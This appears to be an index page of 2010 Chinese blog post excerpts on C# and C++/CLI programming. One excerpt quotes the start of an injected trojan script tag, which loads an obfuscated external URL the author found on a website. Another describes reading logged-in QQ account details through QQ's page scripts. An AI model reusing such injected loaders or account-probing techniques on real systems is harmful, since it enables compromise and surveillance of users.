摘要: 在网上搜索到一段代码,其中需要unsafe模式使用指针移动来操作修改图片数据!重新修改使用Marshal类来替换处理unsafe代码段,代码如下 c++/cli,C#的直接按照语法修改下就可以了![代码] 阅读全文
posted @ 2010-08-04 09:31 lianghugg 阅读(582) 评论(0) 推荐(0) 编辑
摘要: 访问猪八戒网抓到一只马儿,具体不清楚是猪八戒被挂马还是内网在arp,由于阿根廷的出局没心情做分析,只贴上马儿的代码做个记录,顺便鄙视下垃圾的360 ,居然没任何反应,----------------------------------以下为简单的追踪马儿以及马儿代码部分访问猪八戒某页面返回信息:1<script language=javascript src= http://z%63C.r%... 阅读全文
posted @ 2010-07-04 01:56 lianghugg 阅读(1298) 评论(0) 推荐(0) 编辑
摘要: 说明通过对Enterprise Library 5.0的学习,提取并修改一个适合自己使用的加密解密库;需要封装的库能支持大部分对称加密解密算法,使用DPAPI保证key的安全性,并且简单易懂方便使用;本文技术含量不高,基本只是抽取Enterprise Library 5.0的几个类,对代码稍作修改,并且给出使用演示示例!一,对称加密解密算法的了解,System.Security.Cryptogra... 阅读全文
posted @ 2010-07-03 10:00 lianghugg 阅读(734) 评论(0) 推荐(0) 编辑
摘要: 申明以下在文章中出现的内容皆从技术角度探讨问题,请勿使用下文所提到的技术从事非法行为! Thursday, July 01, 2010我的上一篇博客 《检测本地是否登录了指定QQ》 中介绍了通过QQ官方页面来获取已登陆QQ信息的方法,通过对QQ页面中js文件的研究,我们可以更进一步的获取到更多信息!下面我们就来一步一步分析下,首先来看一下上次文章中提到的js中的一个关键函数:hummer_load... 阅读全文
posted @ 2010-07-01 14:55 lianghugg 阅读(4044) 评论(5) 推荐(2) 编辑
摘要: 有时候做程序,喜欢把程序的注册与用户QQ号码绑定,程序仅允许登录成功了指定QQ账号时才可使用,为了实现这个目的,有人用API取QQ窗口、QQ托盘图标上的QQ账号,但是这个方法写起来比较麻烦,如果用户有意玩玩的话,也可以自己在你软件获取之前先用API修改你要获取的目标信息!还有一种方法就是内存读取,当然要找到一个QQ登录成功后存放QQ号码的地址,基址肯定是不存在的,再加之QQ更新频繁,所以内存读取的... 阅读全文
posted @ 2010-07-01 11:29 lianghugg 阅读(13207) 评论(3) 推荐(1) 编辑
摘要: 上一篇博文实现了我的程序的自动升级,这篇来介绍我的程序的扩展部分--插件结构园子里有很多关于插件架构的文章,有大的整个框架也有小的功能代码,每每阅读都有不少收获!现在就来实现我的插件架构,部分内容参考学习自其它地方,在此表示感谢。我要实现的是给Winform程序添加扩展接口,详细的就不多说了,直接按照我自己的理解来贴代码。一,宿主程序提供公开接口供插件程序调用: 插件要如何与宿主程序通讯或使用宿... 阅读全文
posted @ 2010-06-30 15:08 lianghugg 阅读(1015) 评论(2) 推荐(0) 编辑
摘要: 6-30更新内容: 由于编写代码的时候没有考虑到更新文件存放的真实位置,所以可能导致软件目录下其他文件夹文件不能更新,代码稍作修改: 更新配置文件中用相对路径表示文件更新后的保存位置,如: <file name="doc\1.rar" src="http://localhost/1.rar" version="3" size="1394007" isrestart="false" />... 阅读全文
posted @ 2010-06-29 13:21 lianghugg 阅读(979) 评论(1) 推荐(1) 编辑
摘要: Vista风格日历程序来源于网上开源程序,首先感谢下原作者的无私奉献!在原来基础上稍作修改添加了一些演示,效果如图:新增演示:1,gdi绘制小图标, 2,带图标的ComboBox实际应用: 可以抓取气象网上的气象信息,做一个完善的小程序。代码:带图标的ComboBoxCode highlighting produced by Actipro CodeHighlighter (freeware)ht... 阅读全文
posted @ 2010-06-28 13:28 lianghugg 阅读(318) 评论(0) 推荐(0) 编辑
摘要: 根据.net 3.5中的异步Socket完成的一个模块,用队列来处理tcp数据包的粘包问题,用事件将数据包通知给上层调用;代码写的不是很好,发出来希望和大家共同交流学习。因为是实际项目中用的模块,所以有些地方是按照项目需求做的,大体的结构还是没问题的,除了代码写的差点外!!!一,主要类,进行异步Socket的基本处理,.net3.5中的Socket完成端口模型的实现Net_ServerCode h... 阅读全文
posted @ 2010-06-28 12:18 lianghugg 阅读(2832) 评论(6) 推荐(3) 编辑
摘要: 简介:从Microsoft Enterprise Library 5.0 Data Blocks剥离出的数据库操作方法,重新用C++/clr语言封装的一个模块!只实现几个简单常用的接口,用于c++/clr项目中。写在代码前面:项目是c++/clr的,所以他只需要c++/clr的代码,他不需要我提供dll方式的功能模块,他只需要.h和.cpp文件;不想说了,其他事情还是放在心里吧,直接贴代码就好了!... 阅读全文
posted @ 2010-06-25 16:50 lianghugg 阅读(876) 评论(2) 推荐(0) 编辑